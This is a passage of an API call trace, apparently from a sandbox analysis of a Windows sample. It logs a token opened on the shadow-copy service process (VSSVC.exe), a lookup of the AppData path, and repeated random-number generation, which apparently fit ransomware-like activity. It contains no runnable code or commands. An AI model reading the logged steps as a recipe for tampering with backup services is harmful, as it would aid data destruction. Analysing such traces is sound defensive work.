cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VSSVC.exe", lpUsedDefaultChar=0x0) returned 9 [0038.829] GetExitCodeProcess (in: hProcess=0x120, lpExitCode=0x119fbc4 | out: lpExitCode=0x119fbc4*=0x103) returned 1 [0038.829] NtOpenProcessToken (in: ProcessHandle=0x120, DesiredAccess=0xf01ff, TokenHandle=0x119fbd8 | out: TokenHandle=0x119fbd8*=0x124) returned 0x0 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8290) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94dd90) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d82d8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e840) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eae98) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d83b0) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eaef8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d83f8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e9d8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eaf58) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8440) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ea60) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eafb8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8488) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94eae8) returned 1 [0038.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb018) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d84d0) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94eb70) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb078) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8518) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ebf8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb0d8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8560) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ec80) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb138) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d85a8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ed08) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb198) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d85f0) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ed90) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb1f8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8638) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ee18) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb258) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8680) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94eea0) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb2b8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d86c8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ef28) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb318) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8710) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94efb0) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb378) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8758) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f038) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb3d8) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87a0) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f0c0) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eb438) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8320) returned 1 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f1d0) returned 1 [0038.830] NtClose (Handle=0x120) returned 0x0 [0038.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2868) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8368) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d28c8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8830) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2928) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8878) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2988) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d88c0) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f3f0) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d29e8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8908) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f478) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2a48) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8950) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f500) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2aa8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f588) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2b08) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d89e0) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f610) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2b68) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a28) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2bc8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a70) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2c28) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8ab8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2c88) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b00) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f830) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2ce8) returned 1 [0038.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b48) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f8b8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2d48) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b90) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f940) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2da8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8bd8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f9c8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2e08) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8c20) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2e68) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8c68) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fa50) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2ec8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8cb0) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2f28) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8cf8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2f88) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8d40) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fbe8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d2fe8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8d88) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fc70) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3048) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8dd0) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fcf8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d30a8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8e18) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fd80) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3108) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3868) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3168) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4868) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d38f0) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d31c8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d48f8) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3978) returned 1 [0038.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3228) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4940) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3a00) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3288) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4988) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3a88) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d32e8) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d49d0) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3b10) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3348) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4a18) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3b98) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d33a8) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4a60) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3c20) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3408) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4aa8) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3ca8) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3468) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4af0) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d3d30) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d34c8) returned 1 [0038.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4b38) returned 1 [0038.833] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x124, dwFlags=0x0, pszPath=0x9d4850 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0039.223] CryptAcquireContextW (in: phProv=0x119f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8fc*=0x2f97d0) returned 1 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x184) returned 0x9ed7b0 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8200 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8e18 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8dd0 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8d88 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8d40 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8cf8 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8cb0 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8c68 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8c20 [0039.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8bd8 [0039.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b90 [0039.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b48 [0039.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b00 [0039.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8ab8 [0039.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a70 [0039.225] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f910 | out: pbBuffer=0x119f910) returned 1 [0039.225] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fcf8 [0039.225] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.226] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.226] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.226] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.226] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.226] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.226] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.227] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.227] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.227] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.228] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.228] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.228] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.229] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.229] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.229] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.229] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.229] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.229] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.230] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.230] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.230] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.231] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.231] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.231] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.232] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.232] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.232] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.232] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.232] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.232] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.233] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.233] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.233] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.234] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.234] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.234] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.235] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.235] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.235] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.235] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.236] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.236] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.236] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.236] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.236] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.237] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.237] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.237] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.238] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.238] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.238] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.277] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.277] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.277] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.278] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.278] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.278] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.279] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.279] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.279] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.280] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.280] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.280] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x119f8f8*=0x2f97d0) returned 1 [0039.280] CryptGenRandom (in: hProv=0x2f97d0, dwLen=0x4, pbBuffer=0x119f90c | out: pbBuffer=0x119f90c) returned 1 [0039.281] CryptReleaseContext (hProv=0x2f97d0, dwFlags=0x0) returned 1 [0039.281] CryptAcquireContextW (in: phProv=0x119f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 